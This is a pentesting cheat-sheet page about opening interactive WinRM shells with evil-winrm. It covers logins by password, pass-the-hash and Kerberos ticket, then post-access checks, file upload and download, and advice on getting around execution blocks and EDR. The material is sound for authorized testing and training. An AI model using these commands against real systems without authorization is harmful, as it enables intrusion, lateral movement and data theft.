# WinRM Interactive Shell Access

- **URL:** https://hackindex.io/services/winrm/enumeration/winrm-interactive-shell-access
- **Path:** WinRM > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/winrm/enumeration.md)
- **Published:** 2026-01-04
- **Updated:** 2026-03-29

Once creds validate, the fastest way to turn that into operator access is an interactive PSRP session. You’re aiming for a stable PowerShell prompt and quick confirmation of who you are, where you landed, and what’s blocked.

## evil-winrm with password

HTTP 5985 default:

```bash
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
```

Domain format when needed:

```bash
evil-winrm -i $TARGET_IP -u "$DOMAIN\\$USER" -p $PASSWORD
```

Local account format:

```bash
evil-winrm -i $TARGET_IP -u ".\\$USER" -p $PASSWORD
# *Evil-WinRM* PS C:\Users\...\Documents>
#
```

## HTTPS and non-standard ports

If WinRM is exposed on 5986:

```bash
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -S
```

Custom port:

```bash
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -P $PORT
```

If the endpoint is not `/wsman`:

```bash
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -U /wsman
```

## Pass-the-hash shell

```bash
evil-winrm -i $TARGET_IP -u $USER -H <NTHASH>
```

Over HTTPS:

```bash
evil-winrm -i $TARGET_IP -u $USER -H <NTHASH> -S
```

## Kerberos ticket shell

Kerberos works best when `-i` is a hostname or FQDN. If you only have an IP, swap `$TARGET_IP` for the known FQDN.

Using a ticket file:

```bash
evil-winrm -i $TARGET_IP -r $DOMAIN -K /path/to/ticket.ccache
```

## First commands to confirm session quality

Run these immediately to confirm identity, privilege level, and whether the session is constrained:

```powershell
whoami
hostname
$ExecutionContext.SessionState.LanguageMode
whoami /groups
whoami /priv
```

What changes your next move:

- `LanguageMode` is `ConstrainedLanguage`: expect missing .NET-heavy tooling and script friction. Lean on built-in binaries and simple PowerShell.
- Groups show local admin but `whoami /priv` is thin: likely UAC filtering. Plan for local escalation instead of assuming full token rights.

## File transfer in-session

Evil-WinRM has built-in `upload` and `download` commands (run them at the Evil-WinRM prompt, not inside PowerShell):

```bash
upload /absolute/path/local.file
upload /absolute/path/local.file C:\Windows\Temp\remote.file

download C:\Windows\Temp\remote.file
download C:\Windows\Temp\remote.file /absolute/path/local.file
```

If upload works but execution is blocked, you’re dealing with policy or EDR behavior. Switch to living-off-the-land execution patterns instead of fighting the client.

## Common failure modes you’ll actually see

### Auth succeeds elsewhere but Evil-WinRM won’t open a shell

If you’re certain creds are valid, but the session fails immediately, the account may not be allowed to open a WinRM session (policy or endpoint restrictions). Validate with a straight WinRM auth check first, then pivot to another remote exec path if WinRM is “auth-only” for that user.

### SSL handshakes and cert noise on 5986

Use `-S`. Don’t waste time fixing cert trust during a pentest unless Kerberos name matching is the real blocker.

### Endpoint mismatch

If your earlier probing showed a non-default path, set `-U` to match the working endpoint.

## Variant: native PowerShell Enter-PSSession from Windows

Useful when you’re already operating from a Windows host and want native remoting instead of Evil-WinRM.

```powershell
$secpass = ConvertTo-SecureString $PASSWORD -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USER", $secpass)
Enter-PSSession -ComputerName $TARGET_IP -Credential $cred
```

## References

- [Evil-WinRM](https://github.com/Hackplayers/evil-winrm) - Flags for password/hash/Kerberos, SSL, endpoint selection, and built-in upload/download usage